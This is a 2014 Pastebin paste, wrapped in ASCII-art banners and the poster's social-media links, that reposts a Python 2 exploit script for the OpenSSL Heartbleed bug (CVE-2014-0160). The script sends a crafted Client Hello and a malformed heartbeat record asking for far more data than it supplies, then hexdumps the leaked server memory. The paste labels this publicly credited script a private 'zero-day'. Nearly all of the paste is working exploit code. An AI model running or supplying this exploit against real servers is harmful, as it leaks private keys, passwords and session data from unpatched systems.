Dr_FarFar

[ #Priv8 ] 0Day OpenSSL Vulnerability | The Heartbleed Bug

Apr 8th, 2014
701
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 8.59 KB | None | 0 0
  1. /***
  2.      ▄▄▄▄▄▄▄▄▄▄   ▄▄▄▄▄▄▄▄▄▄▄     ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄
  3.     ▐░░░░░░░░░░▌ ▐░░░░░░░░░░░▌   ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌
  4.     ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌   ▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌
  5.     ▐░▌       ▐░▌▐░▌       ▐░▌   ▐░▌          ▐░▌       ▐░▌▐░▌       ▐░▌▐░▌          ▐░▌       ▐░▌▐░▌       ▐░▌
  6.     ▐░▌       ▐░▌▐░█▄▄▄▄▄▄▄█░▌   ▐░█▄▄▄▄▄▄▄▄▄ ▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄▄▄ ▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄█░▌
  7.     ▐░▌       ▐░▌▐░░░░░░░░░░░▌   ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌
  8.     ▐░▌       ▐░▌▐░█▀▀▀▀█░█▀▀    ▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀█░█▀▀ ▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀█░█▀▀
  9.     ▐░▌       ▐░▌▐░▌     ▐░▌     ▐░▌          ▐░▌       ▐░▌▐░▌     ▐░▌  ▐░▌          ▐░▌       ▐░▌▐░▌     ▐░▌  
  10.     ▐░█▄▄▄▄▄▄▄█░▌▐░▌      ▐░▌  ▄ ▐░▌          ▐░▌       ▐░▌▐░▌      ▐░▌ ▐░▌          ▐░▌       ▐░▌▐░▌      ▐░▌
  11.     ▐░░░░░░░░░░▌ ▐░▌       ▐░▌▐░▌▐░▌          ▐░▌       ▐░▌▐░▌       ▐░▌▐░▌          ▐░▌       ▐░▌▐░▌       ▐░▌
  12.      ▀▀▀▀▀▀▀▀▀▀   ▀         ▀  ▀  ▀            ▀         ▀  ▀         ▀  ▀            ▀         ▀  ▀         ▀
  13.  
  14.                          
  15.                                              
  16. ~~~ :xD: Have Fun. Don't Forget To Bookmark This Website :xD:
  17. ~~~ https://www.FaceBook.com/Dr.FarFar
  18. ~~~ http://Dr-FarFar.BlogSpot.com/
  19.  
  20. */
  21.  
  22. ########################################################################################################################
  23.  
  24. #!/usr/bin/env python2
  25.  
  26. # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected])
  27. # The author disclaims copyright to this source code.
  28.  
  29. import sys
  30. import struct
  31. import socket
  32. import time
  33. import select
  34. import re
  35. from optparse import OptionParser
  36.  
  37. options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
  38. options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
  39. options.add_option('-s', '--starttls', action='store_true', default=False, help='Check STARTTLS')
  40. options.add_option('-d', '--debug', action='store_true', default=False, help='Enable debug output')
  41.  
  42. def h2bin(x):
  43.    return x.replace(' ', '').replace('\n', '').decode('hex')
  44.  
  45. hello = h2bin('''
  46. 16 03 02 00  dc 01 00 00 d8 03 02 53
  47. 43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
  48. bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
  49. 00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
  50. 00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
  51. c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
  52. c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
  53. c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
  54. c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
  55. 00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
  56. 03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
  57. 00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
  58. 00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
  59. 00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
  60. 00 0f 00 01 01                                  
  61. ''')
  62.  
  63. hb = h2bin('''
  64. 18 03 02 00 03
  65. 01 40 00
  66. ''')
  67.  
  68. def hexdump(s):
  69.    for b in xrange(0, len(s), 16):
  70.        lin = [c for c in s[b : b + 16]]
  71.        hxdat = ' '.join('%02X' % ord(c) for c in lin)
  72.        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
  73.        print '  %04x: %-48s %s' % (b, hxdat, pdat)
  74.    print
  75.  
  76. def recvall(s, length, timeout=5):
  77.    endtime = time.time() + timeout
  78.    rdata = ''
  79.    remain = length
  80.    while remain > 0:
  81.        rtime = endtime - time.time()
  82.        if rtime < 0:
  83.            return None
  84.        r, w, e = select.select([s], [], [], 5)
  85.        if s in r:
  86.            data = s.recv(remain)
  87.            # EOF?
  88.            if not data:
  89.                return None
  90.            rdata += data
  91.            remain -= len(data)
  92.    return rdata
  93.        
  94.  
  95. def recvmsg(s):
  96.    hdr = recvall(s, 5)
  97.    if hdr is None:
  98.        print 'Unexpected EOF receiving record header - server closed connection'
  99.        return None, None, None
  100.    typ, ver, ln = struct.unpack('>BHH', hdr)
  101.    pay = recvall(s, ln, 10)
  102.    if pay is None:
  103.        print 'Unexpected EOF receiving record payload - server closed connection'
  104.        return None, None, None
  105.    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
  106.    return typ, ver, pay
  107.  
  108. def hit_hb(s):
  109.    s.send(hb)
  110.    while True:
  111.        typ, ver, pay = recvmsg(s)
  112.        if typ is None:
  113.            print 'No heartbeat response received, server likely not vulnerable'
  114.            return False
  115.  
  116.        if typ == 24:
  117.            print 'Received heartbeat response:'
  118.            hexdump(pay)
  119.            if len(pay) > 3:
  120.                print 'WARNING: server returned more data than it should - server is vulnerable!'
  121.            else:
  122.                print 'Server processed malformed heartbeat, but did not return any extra data.'
  123.            return True
  124.  
  125.        if typ == 21:
  126.            print 'Received alert:'
  127.            hexdump(pay)
  128.            print 'Server returned error, likely not vulnerable'
  129.            return False
  130.  
  131. def main():
  132.    opts, args = options.parse_args()
  133.    if len(args) < 1:
  134.        options.print_help()
  135.        return
  136.  
  137.    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  138.    print 'Connecting...'
  139.    sys.stdout.flush()
  140.    s.connect((args[0], opts.port))
  141.  
  142.    if opts.starttls:
  143.        re = s.recv(4096)
  144.        if opts.debug: print re
  145.        s.send('ehlo starttlstest\n')
  146.        re = s.recv(1024)
  147.        if opts.debug: print re
  148.        if not 'STARTTLS' in re:
  149.            if opts.debug: print re
  150.            print 'STARTTLS not supported...'
  151.            sys.exit(0)
  152.        s.send('starttls\n')
  153.        re = s.recv(1024)
  154.    
  155.    print 'Sending Client Hello...'
  156.    sys.stdout.flush()
  157.    s.send(hello)
  158.    print 'Waiting for Server Hello...'
  159.    sys.stdout.flush()
  160.    while True:
  161.        typ, ver, pay = recvmsg(s)
  162.        if typ == None:
  163.            print 'Server closed connection without sending Server Hello.'
  164.            return
  165.        # Look for server hello done message.
  166.        if typ == 22 and ord(pay[0]) == 0x0E:
  167.            break
  168.  
  169.    print 'Sending heartbeat request...'
  170.    sys.stdout.flush()
  171.    s.send(hb)
  172.    hit_hb(s)
  173.  
  174. if __name__ == '__main__':
  175.    main()
  176.  
  177. ########################################################################################################################
  178.  
  179.         https://www.facebook.com/Dr.FarFar
  180.         http://Dr-FarFar.BlogSpot.com/
  181.  
  182.         ________         __________                __________                
  183.         ___  __ \___________  ____/______ ____________  ____/______ _________
  184.         __  / / /__  ___/__  /_    _  __ `/__  ___/__  /_    _  __ `/__  ___/
  185.         _  /_/ / _  /___ _  __/    / /_/ / _  /    _  __/    / /_/ / _  /    
  186.         /_____/  /_/ _(_)/_/       \__,_/  /_/     /_/       \__,_/  /_/    
  187.                                                                              
  188.                              ~\ Dr.FarFar /~
Advertisement
Add Comment
Please, Sign In to add comment